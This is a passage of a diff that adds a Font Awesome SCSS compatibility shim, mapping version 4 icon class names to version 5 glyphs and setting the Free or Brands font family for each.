'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-floppy-o:before { content: fa-content($fa-var-save); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-navicon:before { content: fa-content($fa-var-bars); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-reorder:before { content: fa-content($fa-var-bars); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-pinterest { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-pinterest-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-google-plus-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-google-plus { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-google-plus:before { content: fa-content($fa-var-google-plus-g); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-money { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-money:before { content: fa-content($fa-var-money-bill-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-unsorted:before { content: fa-content($fa-var-sort); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-sort-desc:before { content: fa-content($fa-var-sort-down); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-sort-asc:before { content: fa-content($fa-var-sort-up); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-linkedin { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-linkedin:before { content: fa-content($fa-var-linkedin-in); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-rotate-left:before { content: fa-content($fa-var-undo); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-legal:before { content: fa-content($fa-var-gavel); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-tachometer:before { content: fa-content($fa-var-tachometer-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-dashboard:before { content: fa-content($fa-var-tachometer-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-comment-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-comment-o:before { content: fa-content($fa-var-comment); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-comments-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-comments-o:before { content: fa-content($fa-var-comments); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-flash:before { content: fa-content($fa-var-bolt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-clipboard { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-paste { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-paste:before { content: fa-content($fa-var-clipboard); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-lightbulb-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-lightbulb-o:before { content: fa-content($fa-var-lightbulb); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-exchange:before { content: fa-content($fa-var-exchange-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-cloud-download:before { content: fa-content($fa-var-cloud-download-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-cloud-upload:before { content: fa-content($fa-var-cloud-upload-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-bell-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-bell-o:before { content: fa-content($fa-var-bell); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-cutlery:before { content: fa-content($fa-var-utensils); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-text-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-text-o:before { content: fa-content($fa-var-file-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-building-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-building-o:before { content: fa-content($fa-var-building); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-hospital-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-hospital-o:before { content: fa-content($fa-var-hospital); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-tablet:before { content: fa-content($fa-var-tablet-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-mobile:before { content: fa-content($fa-var-mobile-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-mobile-phone:before { content: fa-content($fa-var-mobile-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-circle-o:before { content: fa-content($fa-var-circle); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-mail-reply:before { content: fa-content($fa-var-reply); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-github-alt { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-folder-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-folder-o:before { content: fa-content($fa-var-folder); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-folder-open-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-folder-open-o:before { content: fa-content($fa-var-folder-open); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-smile-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-smile-o:before { content: fa-content($fa-var-smile); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-frown-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-frown-o:before { content: fa-content($fa-var-frown); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-meh-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-meh-o:before { content: fa-content($fa-var-meh); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-keyboard-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-keyboard-o:before { content: fa-content($fa-var-keyboard); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-flag-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-flag-o:before { content: fa-content($fa-var-flag); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-mail-reply-all:before { content: fa-content($fa-var-reply-all); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-star-half-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-star-half-o:before { content: fa-content($fa-var-star-half); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-star-half-empty { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-star-half-empty:before { content: fa-content($fa-var-star-half); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-star-half-full { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-star-half-full:before { content: fa-content($fa-var-star-half); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-code-fork:before { content: fa-content($fa-var-code-branch); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-chain-broken:before { content: fa-content($fa-var-unlink); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-shield:before { content: fa-content($fa-var-shield-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-calendar-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-calendar-o:before { content: fa-content($fa-var-calendar); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-maxcdn { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-html5 { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-css3 { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-ticket:before { content: fa-content($fa-var-ticket-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-minus-square-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-minus-square-o:before { content: fa-content($fa-var-minus-square); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-level-up:before { content: fa-content($fa-var-level-up-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-level-down:before { content: fa-content($fa-var-level-down-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-pencil-square:before { content: fa-content($fa-var-pen-square); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-external-link-square:before { content: fa-content($fa-var-external-link-square-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-compass { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-caret-square-o-down { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-caret-square-o-down:before { content: fa-content($fa-var-caret-square-down); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-toggle-down { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-toggle-down:before { content: fa-content($fa-var-caret-square-down); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-caret-square-o-up { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-caret-square-o-up:before { content: fa-content($fa-var-caret-square-up); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-toggle-up { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-toggle-up:before { content: fa-content($fa-var-caret-square-up); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-caret-square-o-right { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-caret-square-o-right:before { content: fa-content($fa-var-caret-square-right); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-toggle-right { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-toggle-right:before { content: fa-content($fa-var-caret-square-right); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-eur:before { content: fa-content($fa-var-euro-sign); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-euro:before { content: fa-content($fa-var-euro-sign); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-gbp:before { content: fa-content($fa-var-pound-sign); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-usd:before { content: fa-content($fa-var-dollar-sign); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-dollar:before { content: fa-content($fa-var-dollar-sign); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-inr:before { content: fa-content($fa-var-rupee-sign); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-rupee:before { content: fa-content($fa-var-rupee-sign); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-jpy:before { content: fa-content($fa-var-yen-sign); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-cny:before { content: fa-content($fa-var-yen-sign); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-rmb:before { content: fa-content($fa-var-yen-sign); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-yen:before { content: fa-content($fa-var-yen-sign); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-rub:before { content: fa-content($fa-var-ruble-sign); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-ruble:before { content: fa-content($fa-var-ruble-sign); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-rouble:before { content: fa-content($fa-var-ruble-sign); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-krw:before { content: fa-content($fa-var-won-sign); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-won:before { content: fa-content($fa-var-won-sign); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-btc { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-bitcoin { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-bitcoin:before { content: fa-content($fa-var-btc); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-text:before { content: fa-content($fa-var-file-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-sort-alpha-asc:before { content: fa-content($fa-var-sort-alpha-down); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-sort-alpha-desc:before { content: fa-content($fa-var-sort-alpha-down-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-sort-amount-asc:before { content: fa-content($fa-var-sort-amount-down); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-sort-amount-desc:before { content: fa-content($fa-var-sort-amount-down-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-sort-numeric-asc:before { content: fa-content($fa-var-sort-numeric-down); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-sort-numeric-desc:before { content: fa-content($fa-var-sort-numeric-down-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-youtube-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-youtube { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-xing { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-xing-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-youtube-play { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-youtube-play:before { content: fa-content($fa-var-youtube); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-dropbox { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-stack-overflow { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-instagram { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-flickr { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-adn { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-bitbucket { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-bitbucket-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-bitbucket-square:before { content: fa-content($fa-var-bitbucket); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-tumblr { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-tumblr-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-long-arrow-down:before { content: fa-content($fa-var-long-arrow-alt-down); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-long-arrow-up:before { content: fa-content($fa-var-long-arrow-alt-up); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-long-arrow-left:before { content: fa-content($fa-var-long-arrow-alt-left); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-long-arrow-right:before { content: fa-content($fa-var-long-arrow-alt-right); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-apple { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-windows { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-android { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-linux { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-dribbble { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-skype { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-foursquare { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-trello { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-gratipay { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-gittip { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-gittip:before { content: fa-content($fa-var-gratipay); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-sun-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-sun-o:before { content: fa-content($fa-var-sun); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-moon-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-moon-o:before { content: fa-content($fa-var-moon); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-vk { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-weibo { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-renren { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-pagelines { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-stack-exchange { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-arrow-circle-o-right { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-arrow-circle-o-right:before { content: fa-content($fa-var-arrow-alt-circle-right); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-arrow-circle-o-left { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-arrow-circle-o-left:before { content: fa-content($fa-var-arrow-alt-circle-left); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-caret-square-o-left { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-caret-square-o-left:before { content: fa-content($fa-var-caret-square-left); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-toggle-left { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-toggle-left:before { content: fa-content($fa-var-caret-square-left); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-dot-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-dot-circle-o:before { content: fa-content($fa-var-dot-circle); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-vimeo-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-try:before { content: fa-content($fa-var-lira-sign); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-turkish-lira:before { content: fa-content($fa-var-lira-sign); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-plus-square-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-plus-square-o:before { content: fa-content($fa-var-plus-square); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-slack { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-wordpress { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-openid { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-institution:before { content: fa-content($fa-var-university); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-bank:before { content: fa-content($fa-var-university); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-mortar-board:before { content: fa-content($fa-var-graduation-cap); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-yahoo { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-google { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-reddit { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-reddit-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-stumbleupon-circle { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-stumbleupon { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-delicious { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-digg { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-pied-piper-pp { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-pied-piper-alt { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-drupal { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-joomla { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-spoon:before { content: fa-content($fa-var-utensil-spoon); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-behance { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-behance-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-steam { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-steam-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-automobile:before { content: fa-content($fa-var-car); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-envelope-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-envelope-o:before { content: fa-content($fa-var-envelope); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-spotify { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-deviantart { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-soundcloud { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-pdf-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-pdf-o:before { content: fa-content($fa-var-file-pdf); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-word-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-word-o:before { content: fa-content($fa-var-file-word); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-excel-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-excel-o:before { content: fa-content($fa-var-file-excel); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-powerpoint-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-powerpoint-o:before { content: fa-content($fa-var-file-powerpoint); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-image-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-image-o:before { content: fa-content($fa-var-file-image); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-photo-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-photo-o:before { content: fa-content($fa-var-file-image); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-picture-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-picture-o:before { content: fa-content($fa-var-file-image); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-archive-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-archive-o:before { content: fa-content($fa-var-file-archive); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-zip-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-zip-o:before { content: fa-content($fa-var-file-archive); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-audio-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-audio-o:before { content: fa-content($fa-var-file-audio); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-sound-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-sound-o:before { content: fa-content($fa-var-file-audio); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-video-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-video-o:before { content: fa-content($fa-var-file-video); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-movie-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-movie-o:before { content: fa-content($fa-var-file-video); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-code-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-code-o:before { content: fa-content($fa-var-file-code); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-vine { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-codepen { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-jsfiddle { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-life-ring { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-life-bouy { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-life-bouy:before { content: fa-content($fa-var-life-ring); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-life-buoy { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-life-buoy:before { content: fa-content($fa-var-life-ring); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-life-saver { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-life-saver:before { content: fa-content($fa-var-life-ring); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-support { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-support:before { content: fa-content($fa-var-life-ring); } + 